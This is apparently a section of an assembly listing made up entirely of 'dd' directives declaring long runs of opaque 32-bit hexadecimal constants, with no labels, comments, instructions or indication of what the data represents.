		dd 0D2B93A04h, 34C00F3Bh, 2B79EEh, 9EC313A2h, 0E1E367DDh
		dd 60B19348h, 0EC29B9C0h, 6EE0E519h, 2B1E07C5h,	6C545606h
		dd 9178DD1h, 0CF011735h, 79CD8386h, 0C43448C6h,	366B3BF6h
		dd 0E4AAC01h, 84D80AC5h, 78295DC1h, 9D1A4320h, 7100BDEAh
		dd 984A867Bh, 41AB8Ch, 9CA9221Dh, 0E862F96Bh, 44CF7201h
		dd 9042F129h, 0AB2C0C0h, 8F9FACDEh, 0EE6200B3h,	1D8F37Bh
		dd 65CA0300h, 0E7760887h, 6D46038Ch, 60943EECh,	22DA33C0h
		dd 0F8047A00h, 116CD4CBh, 0E93700E1h, 0EE395561h, 790E4EC9h
		dd 800905ABh, 66651AE5h, 0AC3A1802h, 2903388Fh,	0A7D60100h
		dd 7BF36E07h, 97AA0745h, 1E1F1C6h, 3048244Eh, 770070E7h
		dd 7BCD0619h, 951776h, 68D80CD3h, 5FB44653h, 9EFBFD00h
		dd 0F4978133h, 0FDFFE3Fh, 7BD8ACAAh, 17F10FE0h,	0C5073429h
		dd 6FE8C686h, 0B9B8826Bh, 0FB701Bh, 1A322081h, 3E83EECEh
		dd 51BFF700h, 9294EFF9h, 583313A7h, 0CACC4030h,	7CB542A3h
		dd 0C85A1000h, 0C291625h, 89940193h, 2BD31561h,	7CC6D650h
		dd 0D03F9D00h, 0C50FB16Fh, 0B45201B3h, 41AA5371h, 0BE0830D3h
		dd 8EE62700h, 375925FFh, 3ECB2E12h, 323F0648h, 277A0660h
		dd 3B2DD900h, 176C95E2h, 30EB82Ah, 0B04DD2F2h, 0C8B8C1FCh
		dd 2072248h, 96DC0ABBh,	7EC11E75h, 3C3C5D8Ah, 93AE28h
		dd 0A7698302h, 1C1BA9CAh, 0C30DF90Bh, 0F7E82053h, 0F29F5158h
		dd 0A49D00E2h, 9399B0D6h, 84172852h, 0E8457807h, 0F49120D4h
		dd 0EE101DDDh, 3A0EC6B0h, 0E76E902Ah, 4BF021ADh, 1363686Ah
		dd 78762C0h, 63DC4888h,	0C4E1ABA1h, 3093C459h, 3E11D01h
		dd 0A413BB8h, 0A0541CE0h, 2C9B7E94h, 2C33BEh, 0E35DF405h
		dd 0E10010FCh, 538A13E8h, 0B82042A6h, 0ABF424h,	3591F3A2h
		dd 0D8E25CB5h, 0F9018398h, 2E7671E6h, 12E82987h, 0D03000F3h
		dd 0C198FF77h, 9B01959Ch, 0A3CDE30Eh, 1FFCC073h, 0E2440076h
		dd 3639F80Fh, 1901F69Dh, 0DEC30E95h, 60D8E465h,	7CD72C5h
		dd 6925EBF3h, 9D5B3Ch, 141528E2h, 80E7713Eh, 3C49A86h
		dd 3A5AEAAEh, 0C7856550h, 8085EB2Bh, 7B3BE1D0h,	8191793Fh
		dd 0D89DAA7Ch, 44F84A97h, 0F6A80018h, 0DA13B85Dh, 0F3008F94h
		dd 51392B1Ah, 0B7B992h,	0AB385583h, 80DD5296h, 0EF2CE60Ch
		dd 0D1E877h, 7E2FB0F2h,	0FE02FACEh, 126C6200h, 3673153h
		dd 0D7AC01F6h, 8175DDCAh, 300CCDD6h, 55047ABBh,	48172F93h
		dd 0CC80886h, 0C8217E88h, 0D609FF10h, 8092A530h, 0CE074768h
		dd 0AE36000Ch, 0AFF41BD1h, 4BE04EC4h, 1883F000h, 69988DBFh
		dd 6C6E0096h, 0C5CCD68Ch, 10019FB4h, 71900DA6h,	0C0C6048Bh
		dd 73C79Ch, 0DCA1CF3Fh,	52627039h, 0C2128E2Ch, 9ED96300h
		dd 0C0FC3B42h, 0CB6D5544h, 0F0C3328Ch, 0D89B500Dh, 7C2C7561h
		dd 3A7200D5h, 0CCBB41E7h, 14036C74h, 47F386B0h,	0A759B05Ch
		dd 1CCD5839h, 33E0C901h, 24898C2Eh, 5814AE74h, 73EC27C6h
		dd 1FFD7511h
		dd 0AA3F2300h, 0BBAB1A81h, 0F15FBC00h, 0B3600BADh, 98690EF8h
		dd 43800DC5h, 0AB850E39h, 0F7E2EE00h, 2956B01Dh, 2CCA7657h
		dd 0C7AF8Fh, 336F8419h,	0BE5D27D9h, 453707F0h, 40107434h
		dd 101DE52h, 4D4BB3A5h,	0ECE965CBh, 0B8008242h,	0EDC5E711h
		dd 4CC040Ch, 46869A81h,	0C22C8052h, 0F3390AEFh,	98C80316h
		dd 0D89E264Ah, 0F8991F7Fh, 2F8F00E5h, 0D1791166h, 9588216h
		dd 87563C58h, 87BED931h, 58D2FBC0h, 0DF2E01A5h,	0CA3E7D93h
		dd 0C77AD8F1h, 0D8EAE300h, 0BBAE77C8h, 25E000F9h, 474F0755h
		dd 9700136Fh, 2D418519h, 22CB69h, 42F9867Dh, 624AAD44h
		dd 61FEC8B0h, 3700B092h, 3667408h, 0DC3DA4h, 0C653A67Bh
		dd 0BE1D4225h, 6F6DE900h, 9840E43Bh, 0B50B80CCh, 63FEC307h
		dd 1C608285h, 7FF49h, 7165F375h, 0F7EC5E5Fh, 50BE8600h
		dd 0DA78C010h, 0F90B00C9h, 3C1F67E1h, 82002B33h, 0AB2996B6h
		dd 9BDB0Ah, 271DD753h, 56D4B59Eh, 0C10031FEh, 72CB6C17h
		dd 45FBAA1h, 6F063D35h,	0FACCC09Bh, 560077F4h, 846E3183h
		dd 7147260Ah, 0A0BC00C7h, 0E038EBE2h, 99135D7Dh, 0D0F10BBh
		dd 3750008Ch, 0F5D928h,	3E59C279h, 2BD62448h, 235C647Fh
		dd 0C5860024h, 3F1627E8h, 0CA7C00A7h, 0ED60CCB1h, 0EA7C9C69h
		dd 8A592A00h, 0EFD2EBA5h, 2DCE0058h, 0F62E17E6h, 8071453h
		dd 0CAC65629h, 0F54ADC80h, 0EDB90022h, 9EA38EF2h, 0A91F6543h
		dd 5380B68Ch, 0C7981FF6h, 1D20B0D2h, 0C152FCAEh, 3CA41B8Ah
		dd 2673FCCBh, 0CC5B3A02h, 80C86C9Ch, 0FBA624ADh, 0C9180097h
		dd 6FA952D0h, 0F30019A2h, 0C3062523h, 61494Dh, 0E059BE22h
		dd 2C95DE5Eh, 9D158200h, 53D981EBh, 3347599h, 681C4805h
		dd 3CE8F722h, 3200BB94h, 0CE938C79h, 9DB6D23h, 0F9DA04D1h
		dd 5A3C9800h, 0FF03E0E4h, 242E3E73h, 0EA9AB9Eh,	646130B2h
		dd 0E70D49A0h, 8A0003CFh, 0D317FFB9h, 5A454Dh, 7B647AF3h
		dd 0AFD21331h, 6376CE00h, 0CB536AEAh, 61812EDEh, 9BA80098h
		dd 0F1FEB93Dh, 0C546C603h, 0F8ACC015h, 1F0F0566h, 0C09C1BE5h
		dd 7FDE0401h, 7C1CEAD2h, 34804902h, 1AF409E4h, 5DD04CF9h
		dd 86FF1Eh, 0E6CADFABh,	5200247Ah, 14447217h, 4C96Dh, 0B81D60AFh
		dd 46B2C6E8h, 0BB006EE0h, 0FCBD0C35h, 98281221h, 0D3B1007Ch
		dd 193648F7h, 112559C7h, 2EB40045h, 7FA68h, 0E92B5D88h
		dd 3B97B0CAh, 521C0B12h, 6FE48480h, 2E2000B3h, 3A45815Fh
		dd 0C4CF0DEh, 292E7C7Ch, 0AD8098C9h, 48BB4BA7h,	0E7AB1D83h
		dd 0C48583DEh, 0E6E89CF5h, 1764997Eh, 0FFBF04h,	6A5E74B8h
		dd 8F003437h, 4EEB256Fh, 3CD3181Dh, 0EF04B8ADh,	807A5817h
		dd 0F5EA728Fh, 0D9C2391Fh, 8D004A2Ch, 9EADC4FEh, 38650707h
		dd 64B72209h, 0BE77C068h, 4C017A3Bh, 5A0B4FBBh,	93E86F41h
		dd 43F10179h, 0B3C0F999h, 0C9144003h, 0A01F6372h, 6980469Dh
		dd 331B4A7Eh, 94FB0288h, 0F795041Dh, 7963C0DFh,	1FF755Ah
		dd 4EF1E82Ah, 0CC75A3E7h, 0F400BE1Eh, 0F2676DE4h, 17B660D5h
		dd 80CE0CB2h, 1AC04358h, 8F409300h, 0F89D51BCh,	0D5D34C35h
		dd 3BB9B400h, 0F2FDA142h, 0DC40210Fh, 0FF03B650h, 0D02C5ED5h
		dd 0DFC927h, 0A3AC7391h, 0E8B08153h, 4BA7DD25h,	5AE0C0C4h
		dd 2754035Ch, 645BCE4Fh, 4BEC0588h, 3123FC00h, 53BCF6F3h
		dd 30F70483h, 0C1600733h, 875C1EB4h, 64DCF308h,	0F74F62h
		dd 42C1E356h, 127E9700h, 0FDDEEB9Bh, 160D00ACh,	0CCE68760h
		dd 78007675h, 9CC680B3h, 63C0A3h, 887A2362h, 92845DDEh
		dd 0A9F6EC00h, 58D94A0Ah, 488C030h, 55B7454h, 987B3406h
		dd 7C8F439h, 0F5273C4Ah, 206C9690h, 0FD71FE05h,	58006E53h
		dd 0AD671D74h, 603B7B37h, 887B0886h, 0C9C05BC7h, 0EF833116h
		dd 0C6B903E4h, 0B6394EB5h, 0D0D05EEBh, 9A00A84Ch, 0CC5D16CEh
		dd 0EFFF072h, 9B018120h, 0B2A54620h, 0F5006F3Fh, 610F2750h
		dd 1720B8Bh, 41C68EDAh,	60545D9Ch, 0BD00A1B3h, 3CB48C0Dh
		dd 1A01ED6h, 280A0C88h,	0C426FD43h, 0CD006A21h,	8DF88949h
		dd 40D6B6h, 0D5447ABCh,	0AA068380h, 72778C0Fh, 85D2206Eh
		dd 530D74Ch, 5EE7E56Fh,	0BA800FFh, 0D1285596h, 37576A00h
		dd 256CEE88h, 2C17CFEh,	0CB7043Ch, 0A4FBBCFBh, 1B7AC50h
		dd 13527D32h, 2B083906h, 0C8E7C0Fh, 6A2871h, 3D63B5EAh
		dd 0CAEB4C5Dh, 2DC38301h, 3EE674F3h, 0B40D4981h, 40DEDB52h
		dd 71FA6A30h, 13383662h, 285C34h, 677269EFh, 560CB3B9h
		dd 10262B17h, 8EAE0EB1h, 5F2041BFh, 0D2743076h,	405C2A30h
		dd 3432BD1h, 0B3BA7CAFh, 500001A7h, 0E9CB3E5Fh,	52D95C1h
		dd 95630F0h, 491C3273h,	4803E902h, 3F27E10h, 5D17DB6Bh
		dd 88F08098h, 582427CBh, 0F140D818h, 1C4B4E4h, 5C262C4Ah
		dd 0D127F452h, 2000CFADh, 9DB3FE90h, 3DAAE06Ah,	70800834h
		dd 0BAC4C856h, 0AD1DE1E6h, 0E9451F6Ch, 981478D2h, 0BB0073BCh
		dd 0E5677119h, 48AEEA7Eh, 806444D8h, 14606682h,	40FC4A86h
		dd 9281B988h, 4D05B4D8h, 297DB60h, 0FED286C7h, 345C1682h
		dd 4715F840h, 83C08006h, 41CA1830h, 10A253h, 0C607DA58h
		dd 1A9D45A0h, 730EE2B8h, 0E241843Ah, 5CA9AAF2h,	4E4F817Ch
		dd 0DCB07021h, 874B663Ch, 498083h, 2156F221h, 45AE9308h
		dd 9EEC5C0Ah, 8800883Fh, 0B97CD8BEh, 0BC770028h, 43850886h
		dd 0D1129941h, 4820CBD6h, 2727B3Fh, 4D7CF77Ah, 0D85CDF07h
		dd 9E0F6C11h, 7E407282h, 0A7A19FE4h, 8308FC7Dh,	86184875h
		dd 3176CAFDh, 0CF1C413h, 8D5ACC00h, 25B869Fh, 0CC3C07B0h
		dd 0B8B07D27h, 8911B309h, 9488044Ah, 0B3039383h, 6E3CD17Dh
		dd 82DAD8h, 0AEFBF970h,	425EB286h, 15E44109h, 8764703Bh
		dd 603D44A0h, 9F57DBDh,	1BC4BFE7h, 0ECE6587Ah, 0D841B100h
		dd 30A2D96h, 7020EF9Eh,	27F212E4h, 51200878h, 85B4E5C0h
		dd 2224464Ah, 0FFECC0h,	6609EEB3h, 6EA2DF9Ch, 0C5CF1119h
		dd 0D05149D0h, 3180CB16h, 3B02F0B8h, 122697E5h,	0A21C0484h
		dd 0CA88C4D0h, 0C67EB882h, 1D88805Dh, 80ECFDE8h, 600865EDh
		dd 0F49957h, 0C85132Fh,	8B586AE6h, 9B721904h, 0F4341508h
		dd 0CAE0081h, 0B47AFBEh, 1804950Dh, 6B62C1E6h, 0A500A887h
		dd 56E0FABh, 0D12A7C5Ah, 48FC4069h, 59DB99B2h, 27345313h
		dd 7A512D00h, 4B073DF9h, 4EBCDD63h, 0D24A8444h,	0A6BDC630h
		dd 0B0D9D300h, 0E8AF1562h, 0F6E91AEBh, 0F082A06Eh, 0D2008784h
		dd 0C06C12C2h, 0B12FF018h, 0F539D8B8h, 713613E5h, 0AD7E8044h
		dd 0F4B2C842h, 9C814CD8h, 70871881h, 9B71230Ch,	33000E11h
		dd 0E71C0CAFh, 0C317692Bh, 5A048FEAh, 14C1804Fh, 0E2703EFDh
		dd 98B16Ah, 0AA67347Dh,	0B218A77Eh, 48A8627Ah, 9316385Eh
		dd 0F89850h, 1A5D66B8h,	983B052h, 0C4177B12h, 97EF1040h
		dd 0DE0170h, 0D0916F06h, 0DA1D9BEAh, 9D7BCD02h,	0C072E742h
		dd 0E02F44E8h, 0C08453BAh, 6F3DF806h, 0BB4E6807h, 0CC017C89h
		dd 790CCAFCh, 0F7507208h, 809C708Ch, 0E8877200h, 0EB29ECFFh
		dd 0C7E109B9h, 0C8040324h, 217B61AFh, 4347B0C8h, 23F223Bh
		dd 232182EFh, 5BE0A761h, 0F6480596h, 38AA86A0h,	7B7F0029h
		dd 0E791D46Ch, 0F8061F0Ah, 41A9A6F9h, 2E590021h, 0C5BB30D8h
		dd 9F003CADh, 0B3ECC4ACh, 24E2DCBh, 3DF6B829h, 0CCA1377h
		dd 2BB1B860h, 80744282h, 0AEB09A74h, 10D348EEh,	0B41872CBh
		dd 30822D4Dh
		dd 709A51E0h, 4A0ACD1h,	0F77C7255h, 0FCA0386Ch,	711F672h
		dd 0AABE445Bh, 9C337040h, 4B0E5FC1h, 81B70243h,	7A9DE4B0h
		dd 11850FAh, 711A1DEBh,	9D6069E2h, 4A899888h, 5108E56h
		dd 0BC4166DFh, 59EEBAECh, 78904EF2h, 0E198A8AAh, 0CADD0747h
		dd 0E44324h, 0BCD2AEAFh, 0E5F6F8C1h, 9440F995h,	7C6A9637h
		dd 9F349BCCh, 0F9FAC604h, 0A94A8848h, 5BA39020h, 83D606D4h
		dd 19ADC8B2h, 0D94F47A0h, 0D5001B73h, 877A0B55h, 12B40F81h
		dd 42B8C589h, 6ACBD70Ch, 785EA4A3h, 5336E180h, 2A12FB00h
		dd 0B091E419h, 8BF451h,	0BCEDDF10h, 691683AFh, 66798A30h
		dd 3714D0F9h, 83496186h, 6139AE9Ch, 0D8EB85EAh,	0DC087A07h
		dd 726FC002h, 1C43F74Eh, 72569A83h, 29A36598h, 4223E501h
		dd 0B5D686AFh, 35E49040h, 1019403Fh, 8A4FF01h, 0F27696B9h
		dd 3E7E2080h, 0C42951B3h, 6C09509Ah, 0A7556E3h,	28394824h
		dd 0B118D4D9h, 0EF993D8Fh, 7525006Fh, 934E82A4h, 0BA1E4786h
		dd 8E05E962h, 2F805EFFh, 0C15A2EC3h, 0E7515558h, 0D62835B5h
		dd 8307F0E1h, 6D14D159h, 0F4F140CDh, 6EB1C7A5h,	7C221986h
		dd 0DCC5CBB6h, 0C86096E4h, 0B102F858h, 792C8C55h, 7D23785Bh
		dd 0E6A7009Ah, 0D28A5418h, 3704E1E4h, 35BACAF0h, 0EEC1C090h
		dd 0D589158h, 91186A56h, 6938388h, 804A87A8h, 9161D8B1h
		dd 0BAC8B301h, 0E5FD093Fh, 0EC9D780Fh, 655F1708h, 6C80884h
		dd 4674FCA6h, 0CC5895h,	0A42FE086h, 60170619h, 0AC741D2h
		dd 0B77DEFEEh, 0E9185727h, 8C34D1BCh, 68E2CB1h,	87438134h
		dd 604AE355h, 0A09F9008h, 5C05F884h, 7A93F4DBh,	0E7D904Dh
		dd 8855E6B2h, 0D96BF786h, 872C6C3Dh, 1CA5A006h,	0A0196A76h
		dd 0E4017CD0h, 0A622475h, 36C80BC8h, 0FC72F884h, 0B07902F8h
		dd 40F1168Eh, 39970Ch, 0E550B5ABh, 64B729Dh, 0A8EEC009h
		dd 0CA20875Ch, 19F4104Bh, 466F3F2h, 5C217A02h, 43313FB0h
		dd 1500C612h, 26DB11FEh, 847058D9h, 887002C2h, 0E4949690h
		dd 0BAD15029h, 0CE070B18h, 5A940E04h, 0DE98AF30h, 75861673h
		dd 26841284h, 14DC004h,	725C800Ch, 8C54F755h, 0A14844h
		dd 0BE107283h, 9A2911F8h, 346480A7h, 9DF03060h,	639F2D00h
		dd 0E08DF5EDh, 2F0F01A3h, 91E26BFBh, 49B8373Eh,	0DE3F7494h
		dd 3A458074h, 0DDD98083h, 0BD952E89h, 0B2013CAEh, 0E47E6914h
		dd 22102597h, 0EC8F18B8h, 13E949h, 0BD8B7A57h, 79C2A7D3h
		dd 0F3BA2613h, 6B0FB001h, 1020CA39h, 9FB2EF9h, 4A2410DCh
		dd 0A3E67820h, 355B3E63h, 42B5E580h, 298CA90Fh,	980375Ch
		dd 9D99DDAh, 1CFC002Ch,	31B69872h, 0E660818Dh, 0A2242040h
		dd 2F41BA20h, 0D3D00E64h, 85E058B0h, 0A4507480h, 0D5E90380h
		dd 0A014A3D2h, 0A0B79830h, 3852F7AAh, 0F03ED87Eh, 0C3E6A30Ah
		dd 80FF11ECh, 0F77B727Ah, 84608C24h, 72819F21h,	1E4800BFh
		dd 0AADBCF37h, 0DF014326h, 0EAF055A9h, 0C8445D21h, 1E91E1C6h
		dd 81AC7C10h, 6DFD0BF4h, 0CCFBD072h, 0B0474202h, 82EEB5BFh
		dd 58DEE3E3h, 703CBB34h, 5E0F71E1h, 80CD86F7h, 1672858Dh
		dd 60C4AAC3h, 0F8A08FA1h, 0A2DE58B6h, 0CCB7E400h, 4462DF31h
		dd 6B0E4103h, 23BF80E5h, 88017C80h, 0C371090Ch,	0B000790Eh
		dd 261ABC0Ch, 0EF1686Bh, 11B639F0h, 8894BF84h, 6F55CBA4h
		dd 0C90DE4A4h, 0EC50BC0Eh, 1D28A0D4h, 2F6CEB2h,	1AC769DDh
		dd 40F00Fh, 0A007016Fh,	0C325B8A7h, 52C99C8Fh, 53008484h
		dd 6C6F6080h, 4E8928F2h, 38B203BCh, 15E674B3h, 1E8CB4DCh
		dd 5D165E40h, 5201789Fh, 0B2CAC092h, 0E6BC604Ah, 48EAE916h
		dd 0DA6C3800h, 8716D897h, 0DD609B64h, 7F00DC48h, 85031CC3h
		dd 2CA2F19Dh, 0DE1C5C65h, 16A96518h, 0FD0FD1h, 0E3E8E76Ah
		dd 87F7C64Eh, 18FA526h,	0C0F7F93Fh, 61C2D3DBh, 1D47A51h
		dd 3D74A2BBh, 5C641488h, 18023F4h, 6AE50C84h, 0C01818A3h
		dd 0CAC4821h, 3300E085h, 2CAF14C6h, 4861C29Ah, 6C055CD9h
		dd 7257DFAh, 37064C4h, 0C978C1DCh, 542EBB14h, 55CA09B0h
		dd 78848068h, 0B814233Eh, 0A9B00B38h, 0D486D240h, 44942146h
		dd 0D16D215Eh, 0F42C4383h, 8821A8C8h, 99C100FEh, 0E0E1CC3Bh
		dd 0CA4807CBh, 0F9AB8044h, 7CC925E8h, 4A740011h, 0AEB75BCh
		dd 6FE4F27Bh, 0B55E3900h, 6334B0E1h, 0EE3E168Ah, 10083A12h
		dd 19C0D184h, 2ABB9CD7h, 0AA05F176h, 0FD3B7CCDh, 5B57D0A0h
		dd 44F8D7F4h, 10CD0184h, 4838728Fh, 86C08288h, 4671FF0Ch
		dd 0F22B3h, 690CAE32h, 3668FE6h, 0C1509005h, 3CE4CA83h
		dd 10B00FD3h, 0E8ED04ADh, 8930FE60h, 710A100Ch,	0B12DE0ABh
		dd 9F641C0Ch, 0EC3EC0C7h, 0FF1E19FBh, 4D0F620h,	35EA415Fh
		dd 83A9C2D7h, 0D44000F4h, 2FB8E7EEh, 2044111Ch,	214C7609h
		dd 616B0FABh, 0F21D65C5h, 9B0AD30h, 625A86B8h, 0CB7EE401h
		dd 84884E33h, 22305F3Bh, 0AB24A95Ah, 0C02C50CAh, 82ECE240h
		dd 0ADDA2DCBh, 60845424h, 2388B308h, 97110C4Ah,	0B3028C00h
		dd 1AEB84E1h, 4E15E51Eh, 0E2677A81h, 0E1C6F8F2h, 7C18B000h
		dd 7556213Dh, 4A223C43h, 2184F00Eh, 2938E760h, 0E6E50DD0h
		dd 241B5C78h, 6A30DEBDh, 767200C5h, 0F2F46285h,	0D4904D8Dh
		dd 0EC56EB01h, 3EB3CA08h, 0CE9454h, 315F3C84h, 0E3C01B26h
		dd 6352178Ch, 8A50B0C1h, 4D17CAFEh, 0A43B3066h,	0CBD16C10h
		dd 1ACC4009h, 305826E0h, 86850170h, 32CAE4F0h, 309BF2A8h
		dd 5A38E506h, 2BF613C8h, 97400837h, 35614E1h, 87C06CE5h
		dd 0F6D1DC0Eh, 0AC27E073h, 0CA335F7Ch, 7B163163h, 31DC0ED9h
		dd 37A02596h, 334A3B4Bh, 4202CA98h, 8A3DA069h, 7184791Bh
		dd 1141849h, 0BA4AFDC3h, 0D7934456h, 0D81AC2h, 0C2DB5C16h
		dd 0B1C85442h, 0CACC4926h, 0E501C869h, 4C876798h, 754FF852h
		dd 74C72F3h, 5319BEAFh,	0E6C220C7h, 0FA880CFh, 5C1EAE61h
		dd 9F2FB8BDh, 78079037h, 89707E5Dh, 0B6BF80Dh, 0AEB27A39h
		dd 0C8E9706Bh, 448FAB3h, 0B405AAA1h, 517583E6h,	3CC4E4C8h
		dd 4C006793h, 1A055B6Ah, 0A0ACACF2h, 7A215002h,	163C6FB0h
		dd 58EC2Ch, 9442CB0Dh, 504C53Eh, 904B6A79h, 5ADDE2F4h
		dd 0CC168490h, 644F15B2h, 57FD84F2h, 0C20F8104h, 60F054C9h
		dd 0EE9E51Dh, 0E8C04034h, 6182C1E4h, 0F8C31052h, 7AB4C803h
		dd 89581003h, 9C7C35F0h, 30631CE2h, 81004ED6h, 86DEB107h
		dd 0E850799Bh, 0BC41FFE6h, 8460D478h, 4940967Fh, 0E86E28E5h
		dd 0C01E67D1h, 9E2789FFh, 864ECE1Ch, 844A0697h,	48ACB42Bh
		dd 1B94674h, 87454B6Eh,	39A8AB2Bh, 13091D28h, 6C784120h
		dd 0E4790F19h, 502EC114h, 7B13481Eh, 6DC4B0CBh,	444330D1h
		dd 0CA9718C8h, 0E20D1975h, 517EB000h, 838BB71Ch, 40904A81h
		dd 79C04634h, 6302DDF8h, 9A27344Ah, 0FC4860AFh,	834D127Eh
		dd 418C9017h, 2B00451Ch, 496ED8EEh, 64D9039h, 0BBB2C66Ch
		dd 5C8541B9h, 976083C4h, 0E60084D5h, 0AB928618h, 0BB98B4EAh
		dd 0DD391F98h, 7B37047Eh, 31C4C8A4h, 25DA6A88h,	288238CEh
		dd 1904EF94h, 4BC8848Bh, 0DA0E02C0h, 0A97C07DDh, 25135AF9h
		dd 0B5EEC172h, 241D464h, 8640E0BEh, 70F98166h, 520F0755h
		dd 93FEFFFAh, 0C0C57CB0h, 0C3E53E87h, 47D0E899h, 0CB0086D2h
		dd 9BD3B944h, 782531Ch,	7F527D88h, 0E29A82E5h, 853CB8FAh
		dd 5C21514h, 642F5E98h,	0C05F3C10h, 69D0F70h, 0DD27097Bh
		dd 10613A92h, 199052B8h
		dd 43E4CC65h, 62126E66h, 0B4B0A5EBh, 0C424A5B2h, 11F9604Ah
		dd 0C7D30EF4h, 3DE41DDCh, 1C09AAA7h, 4444E46Dh,	1501F65Eh
		dd 67720897h, 0E9A3C18Fh, 0B818788Ch, 62788801h, 30DBB5F9h
		dd 847CC2EDh, 0D8C87E1Dh, 358531EDh, 0F6E541Ah,	659B6111h
		dd 0A1DAE994h, 8ECA0700h, 850FE66Bh, 11C248A5h,	0C61D1860h
		dd 37AAFC17h, 0E634F4h,	7BA6F175h, 724CBDB5h, 96A8BE1Dh
		dd 7B1E084h, 0E34A99C0h, 0C37904B2h, 0F38A522Dh, 8733184h
		dd 0B87DCA0Fh, 65E5007Fh, 88D8C1AEh, 814A8050h,	15C68B0h
		dd 7BC9E809h, 687F9C34h, 0F312DC98h, 74681488h,	32AA316Ch
		dd 0C8F2B469h, 715A0158h, 56E4A421h, 60AB4FC0h,	0CC092939h
		dd 4B1F2781h, 0CE441C69h, 92C08A59h, 60E47550h,	9658292Ch
		dd 0C4A095FEh, 0EA16CC86h, 384347CAh, 0D8B08060h, 0C2420852h
		dd 11E29820h, 0F882904Bh, 0E41648E4h, 0A0C5A6E9h, 17BF8C8h
		dd 193077ACh, 7C968690h, 0C46F5F6Ch, 0C2B02902h, 0F841E867h
		dd 446D99h, 90C9158Bh, 0AF48A3h, 0A5A7A142h, 0E5F9540Eh
		dd 0C0C0145Fh, 0FEFDD2B0h, 746B7B01h, 4984A06Fh, 35C48833h
		dd 6AFFF500h, 14B0F07Ah, 0B0239784h, 0EBEA3F40h, 30D79441h
		dd 0E84B7921h, 1404EC8Ch, 803DAABBh, 4AD26A09h,	0E841A4A0h
		dd 1095E0E2h, 824414h, 0B24DEA66h, 98048568h, 60162E2h
		dd 0FC598A71h, 4747F56h, 0C18C16F1h, 0DE203058h, 0A701E504h
		dd 433D816Ah, 0B3ECB7A6h, 8C5009D5h, 0BC735B92h, 60CAFD88h
		dd 0F7897270h, 0E0247458h, 72579Dh, 6446816Ch, 0AAC389C6h
		dd 51E5B900h, 0AE1B2675h, 0E26B0BFAh, 58A23CB5h, 0F0701ABAh
		dd 1642C4A7h, 0A971185Fh, 9FABCF17h, 14A15C00h,	3525D3Ch
		dd 0F91F1977h, 0ECA06C41h, 6F4892C9h, 0D27406BCh, 75281722h
		dd 0E0F104D1h, 0C0250F4Dh, 71773054h, 6B028102h, 7656DB1Fh
		dd 8EBA0228h, 0E05CE04Ah, 7A090302h, 6F1C99E1h,	802EDA01h
		dd 2DF2F310h, 0F16B9E54h, 0FC0FD544h, 0B0AD691Bh, 0F82189BCh
		dd 8B774BB0h, 98ED2CF8h, 5AE77801h, 0F03CCC3Eh,	0E8C94B8h
		dd 5B3C4369h, 3055FD20h, 17244DF8h, 802748EDh, 5346EBA4h
		dd 871514F9h, 0F020C36h, 3AAE4EB4h, 0A2F5F4EBh,	3197F230h
		dd 0AD98D8EBh, 470774Ch, 4B22DA71h, 0C4C80080h,	0E47E1403h
		dd 0CA12D4A8h, 9CC25A7h, 0B05EE71Ah, 0EA850982h, 41984AB5h
		dd 0C0ECA59Eh, 316A7C4Bh, 44502F25h, 687C3B5Fh,	1E970077h
		dd 758A4714h, 930F51FDh, 817827C6h, 56651C1Fh, 5EFBE0h
		dd 46FD7F60h, 39317DB3h, 21888B00h, 1955964Dh, 0B27B029Ch
		dd 0CB7FF213h, 4958C073h, 6B080E6Eh, 0C0D899FAh, 55882CA9h
		dd 61F00A6h, 0C8C65E7Ah, 6C8841B8h, 33E937E2h, 0B3BAF030h
		dd 0EB1353E6h, 0B8B076A2h, 0B0CA0B8Ah, 246096AEh, 4001755Fh
		dd 46E4B183h, 8864A5DBh, 0A1E514F6h, 0BB04F837h, 9EEA198Eh
		dd 876D2270h, 0DF060820h, 44F69AC5h, 76E211B0h,	56F23E06h
		dd 2661633Fh, 7448B3B9h, 0B9D24A21h, 97D31E80h,	6F24D78Ah
		dd 0AD149195h, 5B7EBC30h, 52D0406Ah, 51F4DC68h,	2E00657Bh
		dd 9859FE8Dh, 29DFAF14h, 26D0AA55h, 0AB3F009Bh,	0D8FFB19Bh
		dd 0C634DC04h, 60BCE5AEh, 0E319DD04h, 0F280F222h, 0B772303Dh
		dd 99290412h, 204B90E2h, 1A616DFCh, 704CC100h, 0D2EBD57Ah
		dd 0A3990064h, 5526BEA9h, 1A97AC89h, 5E5C769Ch,	5005C046h
		dd 0C318246Ah, 5847FE4h, 74B20385h, 87306BF2h, 0EB4A1285h
		dd 0CE54564Eh, 0C094C830h, 5AEE84CDh, 0C7A5501h, 3AE47438h
		dd 0BCD9A054h, 5F3F4AF1h, 0C6B1454h, 0E73DF604h, 782C8212h
		dd 54BE18D4h, 0F4A6CB0h, 0F2E61891h, 0C4C78080h, 6EBDEA0h
		dd 78855726h, 1E23DA40h, 3A635BEAh, 5F181048h, 979A38C1h
		dd 0D79D4EAh, 4BCEFB00h, 3CBE857Dh, 0F7B125ACh,	18587064h
		dd 570F80E4h, 2949FAh, 2108EBCDh, 0A94D5207h, 16007C76h
		dd 0DF50E87Ah, 176C53B4h, 8B4917BDh, 600EC4A0h,	901A1630h
		dd 243EE8E3h, 0C2119300h, 0A8F4E78h, 60019F72h,	2FEF15F8h
		dd 0D81000C3h, 12B94002h, 80EC967Eh, 737798D0h,	0B862148h
		dd 814E9086h, 0F4F5630h, 0B93C053Fh, 3150831Bh,	0B34AE002h
		dd 0C095E378h, 0C8BB1FD8h, 50876838h, 0A91CDF12h, 0C0DA4C24h
		dd 2C8C95E8h, 5E68C514h, 25059646h, 8229B933h, 985F6E5Ch
		dd 4E168C68h, 4F98C884h, 4DD2400Bh, 7265043Fh, 12893898h
		dd 8CABB099h, 5B3DE4D8h, 41AA9183h, 3580D93Dh, 0E5B5DAE9h
		dd 721DF042h, 41808422h, 0B24CFD73h, 54E44985h,	0AF038100h
		dd 7D84B4ACh, 7CE01C90h, 1678B204h, 0C4ED1869h,	0C07304Ch
		dd 201DE898h, 5779D0E6h, 3378BC00h, 0FF0E3FD8h,	5B880554h
		dd 205F6B09h, 7A103688h, 4C9A2426h, 3DE76C60h, 0DEA728B3h
		dd 5AD2F0D8h, 8204C006h, 2F2DEF0Bh, 11CC17C5h, 3C1980AEh
		dd 3BF60DA9h, 69A4FD6Dh, 65023204h, 0DD08A25Fh,	76A47E44h
		dd 55004B46h, 787DDB6Fh, 983BB0A0h, 129C4C01h, 0ECF43A19h
